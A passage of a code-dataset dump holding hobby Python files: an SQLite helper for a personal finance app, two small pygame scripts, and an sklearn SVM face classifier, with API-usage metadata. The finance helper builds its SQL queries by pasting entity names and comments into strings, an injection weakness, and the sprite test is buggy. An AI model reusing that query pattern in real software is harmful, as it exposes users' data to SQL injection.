"matplotlib.pyplot.ylabel", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "dyn_model.par_dicts", "line_number": 50, "usage_type": "call"}, {"api_name": "pickle._Unpickler", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 86, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 98, "usage_type": "call"}, {"api_name": "astropy.io.fits.open", "line_number": 118, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 118, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 124, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.amin", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 305, "usage_type": "call"}]} {"seq_id": "609049982", "text": "import sqlite3\nimport os\nimport datetime\nimport time\nfrom shutil import copyfile\nfrom . import models\nimport calendar\nfrom .models import Entities\n\nclass DatabaseHelper:\n\n DATA_DIR = os.path.expanduser('~/.liquidity/')\n DB_FILE = os.path.expanduser('~/.liquidity/liquidity.db')\n DB_FLAG_FILE = os.path.expanduser('~/.liquidity/.liquidity_db_exists')\n DB_SCHEMA_FILE = os.path.expanduser('~/.liquidity/liquidity_schema.sql')\n OFFSET_FILE = os.path.expanduser('~/.liquidity/.offset')\n\n def __init__(self):\n if not os.path.exists(self.DATA_DIR):\n os.mkdir(self.DATA_DIR)\n\n\n assert os.path.exists(self.DATA_DIR)\n self.conn = sqlite3.connect(self.DB_FILE)\n if not os.path.exists(self.DB_FLAG_FILE):\n self.create_db()\n print('\\n\\nCREATED LIQUIDITY TABLES\\n\\n')\n\n # self.open_database()\n self.transactions = self.get_transactions()\n self.load_offset()\n\n def open_database(self):\n self.conn = sqlite3.connect(self.DB_FILE)\n\n def create_db(self):\n copyfile('./app/db/schemas/liquidity_schema.sql', self.DATA_DIR + 'liquidity_schema.sql')\n assert os.path.exists(self.DB_SCHEMA_FILE)\n with open(self.DB_SCHEMA_FILE, 'r') as schema_file:\n queries = schema_file.read()\n self.conn.executescript(queries)\n self.conn.close()\n with open(self.DB_FLAG_FILE, 'w') as f:\n pass\n\n def get_current_month(self):\n return datetime.datetime.now().strftime('%B')\n\n def get_last_month(self):\n today = datetime.datetime.now()\n first = today.replace(day = 1)\n last_month = (first - datetime.timedelta(days = 1)).strftime('%B')\n\n return last_month\n\n def get_entities(self, type, month):\n self.open_database()\n \n query = '''SELECT \n id, \n e_name,\n e_value,\n e_type \n FROM entities\n WHERE e_type = {type}\n '''.format(type = type)\n\n entities = []\n\n cursor = self.conn.execute(query)\n for row in cursor:\n entity = models.Entities()\n\n entity.id = int(row[0])\n entity.name = row[1]\n entity.value = float(row[2])\n entity.type = int(row[3])\n\n if entity.type == Entities.TYPE_EXPENSE or entity.type == Entities.TYPE_INCOME:\n entity.value =self.get_entity_monthly_value(entity, month)\n\n entities.append(entity)\n\n self.conn.close()\n return entities\n\n def get_entity_monthly_value(self, entity, month):\n transactions = self.transactions\n value = 0\n\n for transaction in transactions:\n t_month = datetime.datetime.fromtimestamp(transaction.timestamp).strftime('%B')\n if t_month == month:\n if entity.type == Entities.TYPE_INCOME:\n if transaction.from_entity.type == Entities.TYPE_INCOME and entity.id == transaction.from_entity.id:\n value += transaction.value\n elif entity.type == Entities.TYPE_EXPENSE:\n if transaction.to_entity.type == Entities.TYPE_EXPENSE and entity.id == transaction.to_entity.id:\n value += transaction.value\n\n return value\n\n\n def add_entity(self, entity):\n self.open_database()\n \n query = '''INSERT INTO entities(\n e_name,\n e_value,\n e_type\n ) VALUES (\n \"{name}\",\n {value},\n {type}\n )\n '''.format(\n name = entity.name,\n value = entity.value,\n type = entity.type\n )\n\n self.conn.execute(query)\n self.conn.commit()\n \n self.conn.close()\n\n def update_entity(self, entity):\n self.open_database()\n \n query = '''UPDATE entities SET\n e_name = \"{name}\",\n e_value = {value}, \n e_type = {type}\n WHERE id = {id}'''.format(\n name = entity.name,\n value = entity.value,\n type = entity.type,\n id = entity.id\n )\n\n self.conn.execute(query)\n self.conn.commit()\n self.conn.close()\n\n def delete_entity(self, entity):\n self.open_database()\n \n query = '''DELETE FROM entities WHERE id = {id}'''.format(\n id = entity.id\n )\n\n self.conn.execute(query)\n self.conn.commit()\n \n self.conn.close()\n pass\n\n def get_entity(self, id):\n self.open_database()\n \n query = '''SELECT \n id, \n e_name,\n e_value,\n e_type \n FROM entities\n WHERE id = {id}\n '''.format(id = id)\n\n entities = []\n\n cursor = self.conn.execute(query)\n for row in cursor:\n entity = models.Entities()\n\n entity.id = int(row[0])\n entity.name = row[1]\n entity.value = float(row[2])\n entity.type = int(row[3])\n\n entities.append(entity)\n\n self.conn.close()\n if len(entities) > 0:\n return entities[0]\n else:\n return None\n\n def reset_monthly_entities(self):\n\n print('Backing up data...\\n')\n\n today = datetime.datetime.now()\n first = today.replace(day = 1)\n last_month = (first - datetime.timedelta(days = 1)).strftime('%B')\n\n copyfile('db/databases/liquidity.db', 'db/databases/{}.db'.format(last_month))\n\n print('Resetting income and expense values...\\n')\n\n query = '''UPDATE entities\n SET e_value = 0\n WHERE e_type = {} OR e_type = {}'''.format(\n models.Entities.TYPE_EXPENSE,\n models.Entities.TYPE_INCOME\n )\n\n self.open_database()\n self.conn.execute(query)\n self.conn.commit()\n self.conn.close()\n\n def refresh_transactions(self):\n self.transactions = self.get_transactions()\n\n def get_transactions(self):\n self.open_database()\n\n query = '''SELECT \n id,\n t_from_entity_id,\n t_to_entity_id,\n t_value,\n t_comment,\n t_timestamp\n FROM transactions\n ORDER BY t_timestamp\n '''\n\n transactions = []\n\n for row in self.conn.execute(query):\n transaction = models.Transactions()\n\n transaction.id = int(row[0])\n transaction.from_entity = self.get_entity(int(row[1]))\n transaction.to_entity = self.get_entity(int(row[2]))\n transaction.value = float(row[3])\n transaction.comment = row[4]\n transaction.timestamp = int(row[5])\n\n transactions.append(transaction)\n\n self.transactions = transactions\n return transactions\n\n def add_transaction(self, transaction):\n\n from_entity = transaction.from_entity\n to_entity = transaction.to_entity\n\n from_entity.value -= transaction.value\n to_entity.value += transaction.value\n\n self.update_entity(from_entity)\n self.update_entity(to_entity)\n \n query = '''INSERT INTO transactions(\n t_from_entity_id,\n t_to_entity_id,\n t_value,\n t_timestamp,\n t_comment\n ) VALUES (\n {from_e_id},\n {to_e_id},\n {value},\n {timestamp},\n \"{comment}\"\n )\n '''.format(\n from_e_id = transaction.from_entity.id,\n to_e_id = transaction.to_entity.id,\n value = transaction.value,\n timestamp = transaction.timestamp,\n comment = transaction.comment\n )\n\n try:\n self.open_database()\n self.conn.execute(query)\n self.conn.commit()\n except Exception as e:\n print(e)\n \n self.conn.close()\n\n def update_transaction(self, transaction):\n self.open_database()\n \n query = '''UPDATE transactions SET\n t_from_entity_id = {from_e_id},\n t_to_entity_id = {to_e_id},\n t_value = {value},\n t_timestamp = {timestamp},\n t_comment = \"{comment}\"\n WHERE id = {id}\n '''.format(\n from_e_id = transaction.from_entity.id,\n to_e_id = transaction.to_entity.id,\n value = transaction.value,\n timestamp = transaction.timestamp,\n comment = transaction.comment,\n id = transaction.id\n )\n\n self.conn.execute(query)\n self.conn.commit()\n \n self.conn.close()\n pass\n\n def get_transaction(self, id):\n t_id = int(id)\n\n for t in self.transactions:\n if int(t.id) == t_id:\n return t\n\n def delete_transaction(self, transaction):\n self.open_database()\n \n query = '''DELETE FROM transactions WHERE id = {id}'''.format(\n id = transaction.id\n )\n\n self.conn.execute(query)\n self.conn.commit()\n \n self.conn.close()\n pass\n\n #HOME FUNCTIONS\n def get_net_worth(self, month):\n assets = self.get_entities(models.Entities.TYPE_ASSET, month)\n debts = self.get_entities(models.Entities.TYPE_DEBT, month)\n\n assets_total = 0\n debts_total = 0\n\n for asset in assets:\n assets_total += asset.value\n\n for debt in debts:\n debts_total += debt.value\n\n return assets_total - debts_total\n\n def get_month_income(self, month):\n transactions = self.transactions\n current_month = month\n\n total_income = 0\n\n for transaction in transactions:\n t_month = datetime.datetime.fromtimestamp(transaction.timestamp).strftime('%B')\n if current_month == t_month:\n if transaction.from_entity.type == Entities.TYPE_INCOME:\n total_income += transaction.value\n \n return total_income\n\n def get_month_expense(self, month):\n transactions = self.transactions\n current_month = month\n\n total_expense = 0\n\n for transaction in transactions:\n t_month = datetime.datetime.fromtimestamp(transaction.timestamp).strftime('%B')\n if current_month == t_month:\n if transaction.to_entity.type == Entities.TYPE_EXPENSE:\n total_expense += transaction.value\n\n return total_expense\n\n def get_month_net(self, month):\n total_income = self.get_month_income(month)\n total_expense = self.get_month_expense(month)\n\n return total_income - total_expense\n\n def get_budget_dict(self, amount):\n dictionary = {\n 'needs': float(amount) * 0.5,\n 'wants': float(amount) * 0.2,\n 'save': float(amount) * 0.3\n }\n\n return dictionary\n\n def get_spending_capacity(self, amount, month):\n spending_capacity = 0\n liquidity = amount\n expense = self.get_month_expense(month)\n\n spending_capacity = liquidity - expense\n return spending_capacity\n\n def get_daily_expense_limit(self, spending_capacity):\n return round(spending_capacity / 31, 2)\n\n def get_monthly_avg_income(self):\n incomes = []\n for i in range(1, 13):\n month = calendar.month_name[i]\n income = self.get_month_income(month)\n if income != 0:\n incomes.append(income)\n incomes.sort()\n try:\n return incomes[int(len(incomes)/2)] if len(incomes) % 2 != 0 else (incomes[int(len(incomes)/2)] + incomes[int(len(incomes)/2) -1 ])/2\n except IndexError:\n return 0\n\n def get_monthly_avg_expense(self):\n expenses = []\n for i in range(1, 13):\n month = calendar.month_name[i]\n expense = self.get_month_expense(month)\n if expense != 0:\n expenses.append(expense)\n expenses.sort()\n try:\n return expenses[int(len(expenses)/2)] if len(expenses) % 2 != 0 else (expenses[int(len(expenses)/2)] + expenses[int(len(expenses)/2) -1 ])/2\n except IndexError:\n return 0\n\n def get_monthly_avg_net(self):\n return self.get_monthly_avg_income() - self.get_monthly_avg_expense()\n\n def set_offset(self, days = 0):\n with open(self.OFFSET_FILE, 'w') as o_file:\n o_file.write(str(days))\n self.load_offset()\n\n def load_offset(self):\n try:\n with open(self.OFFSET_FILE, 'r') as o_file:\n self.offset = int(o_file.read())\n except:\n self.set_offset()\n\n def get_offset(self):\n return self.offset\n\n def get_daily_average_expense(self):\n expenses = []\n transactions = self.transactions\n\n for d in range(self.offset, datetime.datetime.now().day + 1):\n expense = 0\n for transaction in transactions:\n if datetime.datetime.fromtimestamp(transaction.timestamp).day == d:\n if transaction.to_entity.type == Entities.TYPE_EXPENSE:\n expense += transaction.value\n\n expenses.append(expense)\n\n expenses.sort()\n try:\n return expenses[int(len(expenses)/2)] if len(expenses) % 2 != 0 else (expenses[int(len(expenses)/2)] + expenses[int(len(expenses)/2) -1 ])/2\n except IndexError:\n return 0\n", "sub_path": "app/db/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 13490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.expanduser", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 34, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Entities", "line_number": 72, "usage_type": "call"}, {"api_name": "models.Entities.TYPE_EXPENSE", "line_number": 79, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 79, "usage_type": "name"}, {"api_name": "models.Entities.TYPE_INCOME", "line_number": 79, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 92, "usage_type": "attribute"}, {"api_name": "models.Entities.TYPE_INCOME", "line_number": 94, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 94, "usage_type": "name"}, {"api_name": "models.Entities.TYPE_INCOME", "line_number": 95, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 95, "usage_type": "name"}, {"api_name": "models.Entities.TYPE_EXPENSE", "line_number": 97, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 97, "usage_type": "name"}, {"api_name": "models.Entities.TYPE_EXPENSE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 98, "usage_type": "name"}, {"api_name": "models.Entities", "line_number": 174, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 193, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 193, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 195, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 197, "usage_type": "call"}, {"api_name": "models.Entities", "line_number": 204, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 205, "usage_type": "attribute"}, {"api_name": "models.Transactions", "line_number": 233, "usage_type": "call"}, {"api_name": "models.Entities", "line_number": 335, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 336, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 356, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 356, "usage_type": "attribute"}, {"api_name": "models.Entities.TYPE_INCOME", "line_number": 358, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 358, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 370, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 370, "usage_type": "attribute"}, {"api_name": "models.Entities.TYPE_EXPENSE", "line_number": 372, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 372, "usage_type": "name"}, {"api_name": "calendar.month_name", "line_number": 406, "usage_type": "attribute"}, {"api_name": "calendar.month_name", "line_number": 419, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 451, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 451, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 454, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 454, "usage_type": "attribute"}, {"api_name": "models.Entities.TYPE_EXPENSE", "line_number": 455, "usage_type": "attribute"}, {"api_name": "models.Entities", "line_number": 455, "usage_type": "name"}]} {"seq_id": "129467556", "text": "\nimport os\nimport sys\nimport math\nimport pygame\nimport pygame.mixer\nfrom pygame.locals import *\n\nclass Balloon(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self) #call Sprite initializer\n self.image = pygame.image.load(\"balloon.jpg\")\n self.rect = self.image.get_rect()\n self.mask = pygame.mask.from_surface(self.image)\n\nwidth = 500\nheight = 300\npygame.init()\npygame.display.set_mode((width, height))\n\nb1 = Balloon()\nb2 = Balloon()\n\n\nwhile True:\n event = pygame.event.poll()\n if event.type == pygame.QUIT:\n running = 0\n elif pygame.sprite.spritecollide(b1, b2, False, pygame.sprite.collide_mask):\n print(\"sprites have collided!\")\n", "sub_path": "tests/spritetest.py", "file_name": "spritetest.py", "file_ext": "py", "file_size_in_byte": 714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.sprite", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.event.poll", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "565148462", "text": "__author__ = 'RetroPy'\r\n###Dedicated to my little Matey Potatey, AKA Mr Po. Feb 2011 - 23/09/2014\r\n\r\nimport pygame\r\nimport sys\r\nfrom pygame.locals import *\r\n\r\n# set up pygame\r\npygame.init()\r\n\r\n# set up the window\r\nwindowSurface = pygame.display.set_mode((500, 400), 0, 32)\r\npygame.display.set_caption('RPN Calc')\r\n\r\n# set up the colors\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = (0, 255, 0)\r\nBLUE = (0, 0, 255)\r\n\r\n# set up fonts\r\nbasicFont = pygame.font.SysFont(None, 48)\r\n\r\n# set up the text\r\ntext = basicFont.render('Hello world!', True, WHITE, BLUE)\r\ntextRect = text.get_rect()\r\ntextRect.centerx = windowSurface.get_rect().centerx\r\ntextRect.centery = windowSurface.get_rect().centery\r\n\r\n\r\n# draw the text's background rectangle onto the surface\r\npygame.draw.rect(windowSurface, RED, (textRect.left - 20, textRect.top - 20, textRect.width + 40, textRect.height + 40))\r\n\r\n# get a pixel array of the surface\r\npixArray = pygame.PixelArray(windowSurface)\r\npixArray[480][380] = BLACK\r\ndel pixArray\r\n\r\n# draw the text onto the surface\r\nwindowSurface.blit(text, textRect)\r\n\r\n# draw the window onto the screen\r\npygame.display.update()\r\n\r\n# run the game loop\r\nwhile True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()", "sub_path": "rpnCalc.py", "file_name": "rpnCalc.py", "file_ext": "py", "file_size_in_byte": 1314, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.PixelArray", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 51, "usage_type": "call"}]} {"seq_id": "71094713", "text": "\nimport numpy as np\n\nimport logging\n\nfrom matplotlib import pyplot as plt\n\nfrom time import time\n\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import fetch_olivetti_faces\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\n\n# loading dataset\nlogging.basicConfig(level = logging.INFO, format=\"%(asctime)s %(message)s\")\ndata_home = 'code/datasets/'\nlogging.info(\"start loading data\")\nfaces = fetch_olivetti_faces(data_home=data_home)\nlogging.info(\"Complete\")\n\n# label\nX = faces.data\ny = faces.target\ntargets = np.unique(faces.target)\ntarget_names = np.array([\"p%d\" % t for t in targets])\nn_targets = target_names.shape[0]\nn_samples, h, w = faces.images.shape\n\n# show image\ndef plot_gallery(images, titles, h, w, n_row=2, n_col=5):\n\n plt.figure(figsize=(2*n_col, 2.2*n_row),dpi=140)\n plt.subplots_adjust(bottom=0, left=.01, right=.99, top=.90, hspace=.01)\n for i in range(n_row * n_col):\n plt.subplot(n_row, n_col, i+1)\n plt.imshow(images[i].reshape((h,w)), cmap=plt.cm.gray)\n plt.title(titles[i])\n plt.axis('off')\n\n\nsample_images = None\nsample_titles = []\nfor i in range(n_targets):\n people_images = X[y == i]\n people_sample_index = np.random.randint(0, people_images.shape[0], 1)\n people_sample_image = people_images[people_sample_index, :]\n if sample_images is not None:\n sample_images = np.concatenate((sample_images, people_sample_image), axis=0)\n else:\n sample_images = people_sample_image\n sample_titles.append(target_names[i])\n\n# loading data\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=4)\n\n\n# svm\nt = time()\nclf = SVC(C=1.0, class_weight='balanced', coef0=0.0,\n decision_function_shape=None, degree=3, gamma='auto', kernel='rbf',\n max_iter=-1, probability=False, random_state=None, shrinking=True,\n tol=0.001, verbose=False)\nclf.fit(X_train, y_train)\nprint(\"time：{}s\".format(time() - t))\n\n# classification report\ny_pred = clf.predict(X_test)\nprint(classification_report(y_test, y_pred))\n\n# confusion matrix\ncm = confusion_matrix(y_test, y_pred, labels=range(n_targets))\nprint(\"confusion_matrix:\\n\")\nnp.set_printoptions(threshold=np.inf)\nprint(cm[:])\n\n\n\n", "sub_path": "svm/svm.py", "file_name": "svm.py", "file_ext": "py", "file_size_in_byte": 2282, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.datasets.fetch_olivetti_faces", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 38, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 40, "usage_type": "call"}, {"api_name": 